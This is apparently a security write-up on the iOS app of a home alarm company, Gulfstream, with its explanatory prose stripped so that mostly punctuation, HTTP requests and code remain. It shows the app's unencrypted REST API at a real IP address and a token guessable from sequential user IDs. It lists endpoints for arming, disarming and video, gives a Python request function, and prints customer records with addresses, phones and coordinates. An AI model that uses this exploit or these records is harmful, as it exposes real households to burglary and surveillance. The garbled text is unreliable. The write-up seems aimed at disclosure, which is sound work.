[ ] |
: -, , ...
" " , . , -, .
"Expocod" "". , , .
"", (4 , 3 , Telegram, ). , Expocod , "" , .
, , 23 . , 23 (): , 75 , , ....
:
, , ( ) "" ( 771805121540):
, , .
, , "Expocod" . , , , . , .
() (). , iOS ( 29/06/2017). REST- , HTTP. :
POSThttp://195.19.222.170/GulfstreamWebServices/rest/[method]HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
{ userID: [userID], userToken: [userToken] }
, - . - ! certificate pinning, MiTM . mitmproxy, ( ).
userID
userToken
. , userID
, userToken
, . :
POSThttp://195.19.222.170/GulfstreamWebServices/rest/profile/registerHTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
{ contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }
. . deviceToken
:
deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}}
deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}}
deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}
, JSON-, userID
userToken
. , . , 72 ( , .. deviceToken
"" userID
).
: userID
, userToken
, userToken
- userID
, userToken = f(userID)
. ?
, , , XOR!
, userID
(0..72k) , userToken
, , , REST API :
GulfstreamWebServices/rest/profile/updateUserDeviceToken
GulfstreamWebServices/rest/profile/getCustomerDetails
GulfstreamWebServices/rest/profile/getCustomerProfileImage
GulfstreamWebServices/rest/panel/getEstimateArmState
GulfstreamWebServices/rest/panel/setArmState
GulfstreamWebServices/rest/panel/getEventHistory
GulfstreamWebServices/rest/panel/getNotifications
GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList
GulfstreamWebServices/rest/panel/getNotificationState
GulfstreamWebServices/rest/panel/getRemoteTags
GulfstreamWebServices/rest/panel/updateRemoteTagState
GulfstreamWebServices/rest/panel/getVideo
GulfstreamWebServices/rest/panel/getAllVideos
GulfstreamWebServices/rest/panel/getPanelCameraList
. . , , python-, :
def gs_api_get_customer_details(u, t):
r = s.post(
'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',
headers = {
'Accept': '*/*',
'Accept-Encoding': 'gzip, '
'deflate',
'Accept-Language': 'en-us',
'Connection': 'keep-alive',
'Content-Type': 'application/json',
'Proxy-Connection': 'keep-alive',
'User-Agent': 'SecurityApp/190 '
'CFNetwork/811.5.4 '
'Darwin/16.7.0' },
json = {
'userID': u,
'userToken': t
}
)
return r.json()
, API profile/getCustomerDetails
userID = 296
:
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': ' ', 'address': '. , - , . ******, ******-21, . *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': ' (GMT+3)', 'timeZoneOffset': 180}}
, ( ) "-21", , ,
:
, userID = 296
"". , .
API panel/getVideo
. , , . userID = 70072
:
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': ' ', 'address': '. , . , . 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': ' ', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': ' (GMT+3)', 'timeZoneOffset': 180}}
, "".
: panel/getRemoteTags
. ( ), , . mitmproxy , ( userID = 70072
, ):
, . panel/setArmState
70 . .
, , "", , :
, 2- . . , , ...
, , " "?
!
, , - , ...
.., ? , ( ) , , .
P.S. . , ( ).